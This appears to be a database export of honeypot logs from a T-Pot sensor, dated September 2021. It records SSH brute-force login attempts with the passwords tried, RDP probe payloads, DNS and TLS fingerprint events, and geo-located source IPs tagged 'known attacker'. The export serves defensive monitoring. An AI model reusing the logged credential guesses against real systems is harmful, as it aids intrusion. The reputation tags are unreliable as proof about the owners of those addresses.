35006	218.92.0.190	109.199.241.180	Cowrie	2021-09-20 15:05:58.116714+03	2021-09-20 15:15:02.670689+03	{"_id": "egYZA3wBvYTbRNuEPlmj", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "218.92.0.190", "asn": 4134, "as_org": "Chinanet", "latitude": 32.0617, "location": {"lat": 32.0617, "lon": 118.7778}, "timezone": "Asia/Shanghai", "longitude": 118.7778, "region_code": "JS", "region_name": "Jiangsu", "country_name": "China", "country_code2": "CN", "country_code3": "CN", "continent_code": "AS"}, "ip_rep": "known attacker", "sensor": "b63cdd9641b8", "src_ip": "218.92.0.190", "eventid": "cowrie.login.failed", "message": "login attempt [root/9023] failed", "session": "5c5492da81ad", "@version": "1", "password": "9023", "username": "root", "timestamp": "2021-09-20T12:05:58.116714Z", "@timestamp": "2021-09-20T12:05:58.116Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.login.failed	\N	known attacker	CN
35007	61.133.192.126	109.199.241.180	Suricata	2021-09-20 15:05:59.393421+03	2021-09-20 15:15:02.671691+03	{"_id": "ggYZA3wBvYTbRNuEQ1mw", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"flow": {"start": "2021-09-20T12:05:59.060536+0000", "pkts_toclient": 1, "pkts_toserver": 3, "bytes_toclient": 66, "bytes_toserver": 223}, "host": "1ebe93606296", "path": "/data/suricata/log/eve.json", "type": "Suricata", "alert": {"gid": 1, "rev": 14, "action": "allowed", "cve_id": "CVE-2001-0540", "category": "Generic Protocol Command Decode", "metadata": {"created_at": ["2010_09_23"], "updated_at": ["2010_09_23"]}, "severity": 3, "signature": "GPL POLICY MS Remote Desktop Request RDP", "signature_id": 2101447}, "geoip": {"ip": "61.133.192.126", "asn": 4134, "as_org": "Chinanet", "latitude": 38.4681, "location": {"lat": 38.4681, "lon": 106.2731}, "timezone": "Asia/Shanghai", "longitude": 106.2731, "region_code": "NX", "region_name": "Ningxia Hui Autonomous Region", "country_name": "China", "country_code2": "CN", "country_code3": "CN", "continent_code": "AS"}, "proto": "TCP", "src_ip": "61.133.192.126", "stream": 0, "dest_ip": "192.168.20.116", "flow_id": 524690269924472, "payload": "AwAAKybgAAAAAABDb29raWU6IG1zdHNoYXNoPWhlbGxvDQoBAAgAAwAAAA==", "@version": "1", "in_iface": "enp5s0", "metadata": {"flowbits": ["ms.rdp.established"]}, "src_port": 57938, "dest_port": 3389, "timestamp": "2021-09-20T12:05:59.393421Z", "@timestamp": "2021-09-20T12:05:59.393Z", "event_type": "alert", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles", "payload_printable": "...+&......Cookie: mstshash=hello\\r\\n........"}}	1	\N	\N	alert	\N	CN
35008	61.133.192.126	109.199.241.180	Fatt	2021-09-20 15:05:59.393421+03	2021-09-20 15:15:02.67369+03	{"_id": "hAYZA3wBvYTbRNuERFmw", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/fatt/log/fatt.log", "type": "Fatt", "geoip": {"ip": "61.133.192.126", "asn": 4134, "as_org": "Chinanet", "latitude": 38.4681, "location": {"lat": 38.4681, "lon": 106.2731}, "timezone": "Asia/Shanghai", "longitude": 106.2731, "region_code": "NX", "region_name": "Ningxia Hui Autonomous Region", "country_name": "China", "country_code2": "CN", "country_code3": "CN", "continent_code": "AS"}, "src_ip": "61.133.192.126", "dest_ip": "192.168.20.116", "@version": "1", "fatt_rdp": {"requestedProtocols": "0x00000003"}, "protocol": "rdp", "src_port": 57938, "dest_port": 3389, "timestamp": "2021-09-20T12:05:59.393421", "@timestamp": "2021-09-20T12:05:59.393Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	rdp	\N	\N	\N	CN
35009	61.133.192.126	109.199.241.180	Suricata	2021-09-20 15:05:59.800613+03	2021-09-20 15:15:02.67469+03	{"_id": "hgYZA3wBvYTbRNuER1mZ", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"flow": {"start": "2021-09-20T12:05:59.060536+0000", "pkts_toclient": 3, "pkts_toserver": 4, "bytes_toclient": 193, "bytes_toserver": 283}, "host": "1ebe93606296", "path": "/data/suricata/log/eve.json", "type": "Suricata", "alert": {"gid": 1, "rev": 14, "action": "allowed", "cve_id": "CVE-2001-0540", "category": "Generic Protocol Command Decode", "metadata": {"created_at": ["2010_09_23"], "updated_at": ["2010_09_23"]}, "severity": 3, "signature": "GPL POLICY MS Remote Desktop Request RDP", "signature_id": 2101447}, "geoip": {"ip": "61.133.192.126", "asn": 4134, "as_org": "Chinanet", "latitude": 38.4681, "location": {"lat": 38.4681, "lon": 106.2731}, "timezone": "Asia/Shanghai", "longitude": 106.2731, "region_code": "NX", "region_name": "Ningxia Hui Autonomous Region", "country_name": "China", "country_code2": "CN", "country_code3": "CN", "continent_code": "AS"}, "proto": "TCP", "src_ip": "61.133.192.126", "stream": 1, "dest_ip": "192.168.20.116", "flow_id": 524690269924472, "payload": "AwAAKybgAAAAAABDb29raWU6IG1zdHNoYXNoPWhlbGxvDQoBAAgAAwAAAA==", "@version": "1", "in_iface": "enp5s0", "metadata": {"flowbits": ["ms.rdp.established"]}, "src_port": 57938, "dest_port": 3389, "timestamp": "2021-09-20T12:05:59.800613Z", "@timestamp": "2021-09-20T12:05:59.800Z", "event_type": "alert", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles", "payload_printable": "...+&......Cookie: mstshash=hello\\r\\n........"}}	1	\N	\N	alert	\N	CN
35010	218.92.0.190	109.199.241.180	Cowrie	2021-09-20 15:06:00.650931+03	2021-09-20 15:15:02.675689+03	{"_id": "iAYZA3wBvYTbRNuESllc", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "218.92.0.190", "asn": 4134, "as_org": "Chinanet", "latitude": 32.0617, "location": {"lat": 32.0617, "lon": 118.7778}, "timezone": "Asia/Shanghai", "longitude": 118.7778, "region_code": "JS", "region_name": "Jiangsu", "country_name": "China", "country_code2": "CN", "country_code3": "CN", "continent_code": "AS"}, "ip_rep": "known attacker", "sensor": "b63cdd9641b8", "src_ip": "218.92.0.190", "eventid": "cowrie.session.closed", "message": "Connection lost after 5 seconds", "session": "5c5492da81ad", "@version": "1", "duration": 5.474691867828369, "timestamp": "2021-09-20T12:06:00.650931Z", "@timestamp": "2021-09-20T12:06:00.650Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.session.closed	\N	known attacker	CN
35011	218.92.0.190	109.199.241.180	Cowrie	2021-09-20 15:05:59.387611+03	2021-09-20 15:15:02.676691+03	{"_id": "fwYZA3wBvYTbRNuEQlmL", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "218.92.0.190", "asn": 4134, "as_org": "Chinanet", "latitude": 32.0617, "location": {"lat": 32.0617, "lon": 118.7778}, "timezone": "Asia/Shanghai", "longitude": 118.7778, "region_code": "JS", "region_name": "Jiangsu", "country_name": "China", "country_code2": "CN", "country_code3": "CN", "continent_code": "AS"}, "ip_rep": "known attacker", "sensor": "b63cdd9641b8", "src_ip": "218.92.0.190", "eventid": "cowrie.login.failed", "message": "login attempt [root/9090] failed", "session": "5c5492da81ad", "@version": "1", "password": "9090", "username": "root", "timestamp": "2021-09-20T12:05:59.387611Z", "@timestamp": "2021-09-20T12:05:59.387Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.login.failed	\N	known attacker	CN
35012	192.168.20.116	109.199.241.180	Suricata	2021-09-20 15:05:59.48236+03	2021-09-20 15:15:02.67869+03	{"_id": "gQYZA3wBvYTbRNuEQ1mw", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"flow": {"start": "2021-09-20T12:05:59.060536+0000", "pkts_toclient": 3, "pkts_toserver": 3, "bytes_toclient": 193, "bytes_toserver": 223}, "host": "1ebe93606296", "path": "/data/suricata/log/eve.json", "tags": ["_geoip_lookup_failure"], "type": "Suricata", "alert": {"gid": 1, "rev": 8, "action": "allowed", "category": "Misc activity", "metadata": {"created_at": ["2010_07_30"], "updated_at": ["2010_07_30"]}, "severity": 3, "signature": "ET POLICY RDP connection confirm", "signature_id": 2001330}, "geoip": {}, "proto": "TCP", "src_ip": "192.168.20.116", "stream": 0, "dest_ip": "61.133.192.126", "flow_id": 524690269924472, "payload": "AwAAEw7QAAAAAAACAAgAAAAAAA==", "@version": "1", "in_iface": "enp5s0", "metadata": {"flowbits": ["ms.rdp.established"]}, "src_port": 3389, "dest_port": 57938, "timestamp": "2021-09-20T12:05:59.482360Z", "@timestamp": "2021-09-20T12:05:59.482Z", "event_type": "alert", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles", "payload_printable": "..................."}}	1	\N	\N	alert	\N	\N
35013	61.133.192.126	109.199.241.180	Suricata	2021-09-20 15:05:59.393421+03	2021-09-20 15:15:02.67969+03	{"_id": "gAYZA3wBvYTbRNuEQ1mw", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"flow": {"start": "2021-09-20T12:05:59.060536+0000", "pkts_toclient": 1, "pkts_toserver": 3, "bytes_toclient": 66, "bytes_toserver": 223}, "host": "1ebe93606296", "path": "/data/suricata/log/eve.json", "type": "Suricata", "alert": {"gid": 1, "rev": 9, "action": "allowed", "category": "Misc activity", "metadata": {"created_at": ["2010_07_30"], "updated_at": ["2010_07_30"]}, "severity": 3, "signature": "ET POLICY RDP connection request", "signature_id": 2001329}, "geoip": {"ip": "61.133.192.126", "asn": 4134, "as_org": "Chinanet", "latitude": 38.4681, "location": {"lat": 38.4681, "lon": 106.2731}, "timezone": "Asia/Shanghai", "longitude": 106.2731, "region_code": "NX", "region_name": "Ningxia Hui Autonomous Region", "country_name": "China", "country_code2": "CN", "country_code3": "CN", "continent_code": "AS"}, "proto": "TCP", "src_ip": "61.133.192.126", "stream": 0, "dest_ip": "192.168.20.116", "flow_id": 524690269924472, "payload": "AwAAKybgAAAAAABDb29raWU6IG1zdHNoYXNoPWhlbGxvDQoBAAgAAwAAAA==", "@version": "1", "in_iface": "enp5s0", "metadata": {"flowbits": ["ms.rdp.established"]}, "src_port": 57938, "dest_port": 3389, "timestamp": "2021-09-20T12:05:59.393421Z", "@timestamp": "2021-09-20T12:05:59.393Z", "event_type": "alert", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles", "payload_printable": "...+&......Cookie: mstshash=hello\\r\\n........"}}	1	\N	\N	alert	\N	CN
35014	61.133.192.126	109.199.241.180	Suricata	2021-09-20 15:05:59.800613+03	2021-09-20 15:15:02.680689+03	{"_id": "hwYZA3wBvYTbRNuER1mZ", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"flow": {"start": "2021-09-20T12:05:59.060536+0000", "pkts_toclient": 3, "pkts_toserver": 4, "bytes_toclient": 193, "bytes_toserver": 283}, "host": "1ebe93606296", "path": "/data/suricata/log/eve.json", "type": "Suricata", "alert": {"gid": 1, "rev": 9, "action": "allowed", "category": "Misc activity", "metadata": {"created_at": ["2010_07_30"], "updated_at": ["2010_07_30"]}, "severity": 3, "signature": "ET POLICY RDP connection request", "signature_id": 2001329}, "geoip": {"ip": "61.133.192.126", "asn": 4134, "as_org": "Chinanet", "latitude": 38.4681, "location": {"lat": 38.4681, "lon": 106.2731}, "timezone": "Asia/Shanghai", "longitude": 106.2731, "region_code": "NX", "region_name": "Ningxia Hui Autonomous Region", "country_name": "China", "country_code2": "CN", "country_code3": "CN", "continent_code": "AS"}, "proto": "TCP", "src_ip": "61.133.192.126", "stream": 1, "dest_ip": "192.168.20.116", "flow_id": 524690269924472, "payload": "AwAAKybgAAAAAABDb29raWU6IG1zdHNoYXNoPWhlbGxvDQoBAAgAAwAAAA==", "@version": "1", "in_iface": "enp5s0", "metadata": {"flowbits": ["ms.rdp.established"]}, "src_port": 57938, "dest_port": 3389, "timestamp": "2021-09-20T12:05:59.800613Z", "@timestamp": "2021-09-20T12:05:59.800Z", "event_type": "alert", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles", "payload_printable": "...+&......Cookie: mstshash=hello\\r\\n........"}}	1	\N	\N	alert	\N	CN
35015	218.92.0.190	109.199.241.180	Cowrie	2021-09-20 15:05:55.17654+03	2021-09-20 15:15:02.682689+03	{"_id": "dAYZA3wBvYTbRNuEMlnq", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "218.92.0.190", "asn": 4134, "as_org": "Chinanet", "latitude": 32.0617, "location": {"lat": 32.0617, "lon": 118.7778}, "timezone": "Asia/Shanghai", "longitude": 118.7778, "region_code": "JS", "region_name": "Jiangsu", "country_name": "China", "country_code2": "CN", "country_code3": "CN", "continent_code": "AS"}, "ip_rep": "known attacker", "sensor": "b63cdd9641b8", "src_ip": "218.92.0.190", "eventid": "cowrie.client.version", "message": "Remote SSH version: b'SSH-2.0-PUTTY'", "session": "5c5492da81ad", "version": "b'SSH-2.0-PUTTY'", "@version": "1", "timestamp": "2021-09-20T12:05:55.176540Z", "@timestamp": "2021-09-20T12:05:55.176Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.client.version	\N	known attacker	CN
35016	96.78.175.36	109.199.241.180	Cowrie	2021-09-20 15:06:09.462407+03	2021-09-20 15:15:02.68369+03	{"_id": "oQYZA3wBvYTbRNuEaVmf", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "96.78.175.36", "asn": 7922, "as_org": "Comcast Cable Communications, LLC", "dma_code": 807, "latitude": 37.3073, "location": {"lat": 37.3073, "lon": -121.8076}, "timezone": "America/Los_Angeles", "city_name": "San Jose", "longitude": -121.8076, "postal_code": "95121", "region_code": "CA", "region_name": "California", "country_name": "United States", "country_code2": "US", "country_code3": "US", "continent_code": "NA"}, "ip_rep": "known attacker", "sensor": "b63cdd9641b8", "src_ip": "96.78.175.36", "dest_ip": "192.168.176.2", "eventid": "cowrie.session.connect", "message": "New connection: 96.78.175.36:44734 (192.168.176.2:22) [session: e4a806afc744]", "session": "e4a806afc744", "@version": "1", "protocol": "ssh", "src_port": 44734, "dest_port": 22, "timestamp": "2021-09-20T12:06:09.462407Z", "@timestamp": "2021-09-20T12:06:09.462Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	ssh	cowrie.session.connect	\N	known attacker	US
35017	96.78.175.36	109.199.241.180	Cowrie	2021-09-20 15:06:09.091937+03	2021-09-20 15:15:02.684689+03	{"_id": "ogYZA3wBvYTbRNuEaVmf", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "96.78.175.36", "asn": 7922, "as_org": "Comcast Cable Communications, LLC", "dma_code": 807, "latitude": 37.3073, "location": {"lat": 37.3073, "lon": -121.8076}, "timezone": "America/Los_Angeles", "city_name": "San Jose", "longitude": -121.8076, "postal_code": "95121", "region_code": "CA", "region_name": "California", "country_name": "United States", "country_code2": "US", "country_code3": "US", "continent_code": "NA"}, "ip_rep": "known attacker", "sensor": "b63cdd9641b8", "src_ip": "96.78.175.36", "eventid": "cowrie.login.success", "message": "login attempt [guest/4321] succeeded", "session": "f5c125d86b8c", "@version": "1", "password": "4321", "username": "guest", "timestamp": "2021-09-20T12:06:09.091937Z", "@timestamp": "2021-09-20T12:06:09.091Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.login.success	\N	known attacker	US
35018	96.78.175.36	109.199.241.180	Suricata	2021-09-20 15:06:09.646603+03	2021-09-20 15:15:02.68569+03	{"_id": "owYZA3wBvYTbRNuEalnE", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"ssh": {"client": {"proto_version": "2.0", "software_version": "libssh_0.9.6"}, "server": {"proto_version": "2.0", "software_version": "OpenSSH_7.9p1"}}, "host": "1ebe93606296", "path": "/data/suricata/log/eve.json", "type": "Suricata", "geoip": {"ip": "96.78.175.36", "asn": 7922, "as_org": "Comcast Cable Communications, LLC", "dma_code": 807, "latitude": 37.3073, "location": {"lat": 37.3073, "lon": -121.8076}, "timezone": "America/Los_Angeles", "city_name": "San Jose", "longitude": -121.8076, "postal_code": "95121", "region_code": "CA", "region_name": "California", "country_name": "United States", "country_code2": "US", "country_code3": "US", "continent_code": "NA"}, "proto": "TCP", "ip_rep": "known attacker", "src_ip": "96.78.175.36", "dest_ip": "192.168.20.116", "flow_id": 1543325516644207, "@version": "1", "in_iface": "enp5s0", "metadata": {"flowbits": ["is_ssh_server_banner", "is_ssh_client_banner"]}, "src_port": 44734, "dest_port": 22, "timestamp": "2021-09-20T12:06:09.646603Z", "@timestamp": "2021-09-20T12:06:09.646Z", "event_type": "ssh", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	\N	ssh	known attacker	US
35019	195.24.88.8	109.199.241.180	Suricata	2021-09-20 15:06:09.933012+03	2021-09-20 15:15:02.686691+03	{"_id": "tgYZA3wBvYTbRNuEblmu", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"dns": {"id": 25091, "qr": true, "ra": true, "rd": true, "type": "answer", "flags": "8180", "rcode": "NOERROR", "rrname": "community.sicherheitstacho.eu", "rrtype": "A", "answers": [{"ttl": 2305, "rdata": "160.44.201.156", "rrname": "community.sicherheitstacho.eu", "rrtype": "A"}], "grouped": {"A": ["160.44.201.156"]}, "version": 2}, "host": "1ebe93606296", "path": "/data/suricata/log/eve.json", "type": "Suricata", "geoip": {"ip": "195.24.88.8", "asn": 25374, "as_org": "ESCOM Ltd. - Haskovo", "latitude": 42.2839, "location": {"lat": 42.2839, "lon": 22.6911}, "timezone": "Europe/Sofia", "city_name": "Kyustendil", "longitude": 22.6911, "postal_code": "2500", "region_code": "10", "region_name": "Kyustendil", "country_name": "Bulgaria", "country_code2": "BG", "country_code3": "BG", "continent_code": "EU"}, "proto": "UDP", "src_ip": "195.24.88.8", "dest_ip": "192.168.20.116", "flow_id": 1788321188622995, "@version": "1", "in_iface": "enp5s0", "src_port": 53, "dest_port": 55247, "timestamp": "2021-09-20T12:06:09.933012Z", "@timestamp": "2021-09-20T12:06:09.933Z", "event_type": "dns", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	\N	dns	\N	BG
35020	192.168.20.116	109.199.241.180	Suricata	2021-09-20 15:06:10.421684+03	2021-09-20 15:15:02.68869+03	{"_id": "twYZA3wBvYTbRNuEblmu", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"dns": {"id": 19175, "type": "query", "tx_id": 0, "rrname": "community.sicherheitstacho.eu", "rrtype": "A"}, "host": "1ebe93606296", "path": "/data/suricata/log/eve.json", "tags": ["_geoip_lookup_failure"], "type": "Suricata", "geoip": {}, "proto": "UDP", "src_ip": "192.168.20.116", "dest_ip": "195.24.88.8", "flow_id": 1864662084906804, "@version": "1", "in_iface": "enp5s0", "src_port": 47465, "dest_port": 53, "timestamp": "2021-09-20T12:06:10.421684Z", "@timestamp": "2021-09-20T12:06:10.421Z", "event_type": "dns", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	\N	dns	\N	\N
35060	160.44.201.156	109.199.241.180	Fatt	2021-09-20 15:06:10.023378+03	2021-09-20 15:15:02.74469+03	{"_id": "xQYZA3wBvYTbRNuEcFkI", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/fatt/log/fatt.log", "type": "Fatt", "geoip": {"ip": "160.44.201.156", "asn": 34086, "as_org": "T-Systems International GmbH", "latitude": 51.2993, "location": {"lat": 51.2993, "lon": 9.491}, "timezone": "Europe/Berlin", "longitude": 9.491, "country_name": "Germany", "country_code2": "DE", "country_code3": "DE", "continent_code": "EU"}, "src_ip": "160.44.201.156", "dest_ip": "192.168.20.116", "@version": "1", "fatt_tls": {"ja3s": "ec74a5c51106f0419184d0dd08fb05bc", "ja3sCiphers": "49200", "ja3sVersion": "771", "ja3sAlgorithms": "771,49200,65281-11-35-23", "ja3sExtensions": "65281-11-35-23"}, "protocol": "tls", "src_port": 443, "dest_port": 36070, "timestamp": "2021-09-20T12:06:10.023378", "@timestamp": "2021-09-20T12:06:10.023Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	tls	\N	\N	\N	DE
35021	192.168.20.116	109.199.241.180	Fatt	2021-09-20 15:06:09.982327+03	2021-09-20 15:15:02.689689+03	{"_id": "wQYZA3wBvYTbRNuEcFkI", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/fatt/log/fatt.log", "tags": ["_geoip_lookup_failure"], "type": "Fatt", "geoip": {}, "src_ip": "192.168.20.116", "dest_ip": "160.44.201.156", "@version": "1", "fatt_tls": {"ja3": "f0a8f03cd88db5395e12077d3e4aa1fc", "ja3Ec": "29-23-30-25-24", "ja3EcFmt": "0-1-2", "ja3Ciphers": "4866-4867-4865-49196-49200-49195-49199-52393-52392-159-158-52394-49327-49325-49326-49324-49188-49192-49187-49191-49162-49172-49161-49171-49315-49311-49314-49310-107-103-57-51-157-156-49313-49309-49312-49308-61-60-53-47-255", "ja3Version": "771", "serverName": "community.sicherheitstacho.eu", "ja3Algorithms": "771,4866-4867-4865-49196-49200-49195-49199-52393-52392-159-158-52394-49327-49325-49326-49324-49188-49192-49187-49191-49162-49172-49161-49171-49315-49311-49314-49310-107-103-57-51-157-156-49313-49309-49312-49308-61-60-53-47-255,0-11-10-35-22-23-13-43-45-51,29-23-30-25-24,0-1-2", "ja3Extensions": "0-11-10-35-22-23-13-43-45-51"}, "protocol": "tls", "src_port": 36070, "dest_port": 443, "timestamp": "2021-09-20T12:06:09.982327", "@timestamp": "2021-09-20T12:06:09.982Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	tls	\N	\N	\N	\N
35022	107.0.200.227	109.199.241.180	Cowrie	2021-09-20 15:06:10.972807+03	2021-09-20 15:15:02.69069+03	{"_id": "yAYZA3wBvYTbRNuEcVlx", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "107.0.200.227", "asn": 7922, "as_org": "Comcast Cable Communications, LLC", "dma_code": 613, "latitude": 44.9064, "location": {"lat": 44.9064, "lon": -93.2406}, "timezone": "America/Chicago", "city_name": "Minneapolis", "longitude": -93.2406, "postal_code": "55417", "region_code": "MN", "region_name": "Minnesota", "country_name": "United States", "country_code2": "US", "country_code3": "US", "continent_code": "NA"}, "ip_rep": "known attacker", "sensor": "b63cdd9641b8", "src_ip": "107.0.200.227", "dest_ip": "192.168.176.2", "eventid": "cowrie.session.connect", "message": "New connection: 107.0.200.227:45400 (192.168.176.2:22) [session: ffcdeef93d35]", "session": "ffcdeef93d35", "@version": "1", "protocol": "ssh", "src_port": 45400, "dest_port": 22, "timestamp": "2021-09-20T12:06:10.972807Z", "@timestamp": "2021-09-20T12:06:10.972Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	ssh	cowrie.session.connect	\N	known attacker	US
35023	87.112.251.105	109.199.241.180	Suricata	2021-09-20 15:06:11.503224+03	2021-09-20 15:15:02.691691+03	{"_id": "ywYZA3wBvYTbRNuEclmW", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"ssh": {"client": {"proto_version": "2.0", "software_version": "libssh_0.9.6"}, "server": {"proto_version": "2.0", "software_version": "OpenSSH_7.9p1"}}, "flow": {"start": "2021-09-20T12:06:05.313526+0000", "pkts_toclient": 3, "pkts_toserver": 5, "bytes_toclient": 821, "bytes_toserver": 1336}, "host": "1ebe93606296", "path": "/data/suricata/log/eve.json", "type": "Suricata", "alert": {"gid": 1, "rev": 8, "action": "allowed", "category": "Misc activity", "metadata": {"created_at": ["2010_07_30"], "updated_at": ["2010_07_30"]}, "severity": 3, "signature": "ET POLICY SSH session in progress on Expected Port", "signature_id": 2001978}, "geoip": {"ip": "87.112.251.105", "asn": 6871, "as_org": "British Telecommunications PLC", "latitude": 53.75, "location": {"lat": 53.75, "lon": -2.4833}, "timezone": "Europe/London", "city_name": "Blackburn", "longitude": -2.4833, "postal_code": "BB1", "region_code": "BBD", "region_name": "Blackburn with Darwen", "country_name": "United Kingdom", "country_code2": "GB", "country_code3": "GB", "continent_code": "EU"}, "proto": "TCP", "ip_rep": "known attacker", "src_ip": "87.112.251.105", "stream": 0, "dest_ip": "192.168.20.116", "flow_id": 1568068823009462, "payload": "AAADzAYUSgmAiynu0SjQJ7MHIKDziAAAAShjdXJ2ZTI1NTE5LXNoYTI1NixjdXJ2ZTI1NTE5LXNoYTI1NkBsaWJzc2gub3JnLGVjZGgtc2hhMi1uaXN0cDI1NixlY2RoLXNoYTItbmlzdHAzODQsZWNkaC1zaGEyLW5pc3RwNTIxLGRpZmZpZS1oZWxsbWFuLWdyb3VwMTgtc2hhNTEyLGRpZmZpZS1oZWxsbWFuLWdyb3VwMTYtc2hhNTEyLGRpZmZpZS1oZWxsbWFuLWdyb3VwLWV4Y2hhbmdlLXNoYTI1NixkaWZmaWUtaGVsbG1hbi1ncm91cDE0LXNoYTI1NixkaWZmaWUtaGVsbG1hbi1ncm91cDE0LXNoYTEsZGlmZmllLWhlbGxtYW4tZ3JvdXAxLXNoYTEsZXh0LWluZm8tYwAAAHFzc2gtZWQyNTUxOSxlY2RzYS1zaGEyLW5pc3RwNTIxLGVjZHNhLXNoYTItbmlzdHAzODQsZWNkc2Etc2hhMi1uaXN0cDI1Nixyc2Etc2hhMi01MTIscnNhLXNoYTItMjU2LHNzaC1yc2Esc3NoLWRzcwAAAHhhZXMyNTYtZ2NtQG9wZW5zc2guY29tLGFlczEyOC1nY21Ab3BlbnNzaC5jb20sYWVzMjU2LWN0cixhZXMxOTItY3RyLGFlczEyOC1jdHIsYWVzMjU2LWNiYyxhZXMxOTItY2JjLGFlczEyOC1jYmMsM2Rlcy1jYmMAAAB4YWVzMjU2LWdjbUBvcGVuc3NoLmNvbSxhZXMxMjgtZ2NtQG9wZW5zc2guY29tLGFlczI1Ni1jdHIsYWVzMTkyLWN0cixhZXMxMjgtY3RyLGFlczI1Ni1jYmMsYWVzMTkyLWNiYyxhZXMxMjgtY2JjLDNkZXMtY2JjAAAAe2htYWMtc2hhMi0yNTYtZXRtQG9wZW5zc2guY29tLGhtYWMtc2hhMi01MTItZXRtQG9wZW5zc2guY29tLGhtYWMtc2hhMS1ldG1Ab3BlbnNzaC5jb20saG1hYy1zaGEyLTI1NixobWFjLXNoYTItNTEyLGhtYWMtc2hhMQAAAHtobWFjLXNoYTItMjU2LWV0bUBvcGVuc3NoLmNvbSxobWFjLXNoYTItNTEyLWV0bUBvcGVuc3NoLmNvbSxobWFjLXNoYTEtZXRtQG9wZW5zc2guY29tLGhtYWMtc2hhMi0yNTYsaG1hYy1zaGEyLTUxMixobWFjLXNoYTEAAAAEbm9uZQAAAARub25lAAAAAAAAAAAAAAAAAAAAAAAAAA==", "@version": "1", "in_iface": "enp5s0", "metadata": {"flowbits": ["is_ssh_server_banner", "is_ssh_server_kex"]}, "src_port": 40886, "app_proto": "ssh", "dest_port": 22, "timestamp": "2021-09-20T12:06:11.503224Z", "@timestamp": "2021-09-20T12:06:11.503Z", "event_type": "alert", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles", "payload_printable": "......J...)..(.'.. 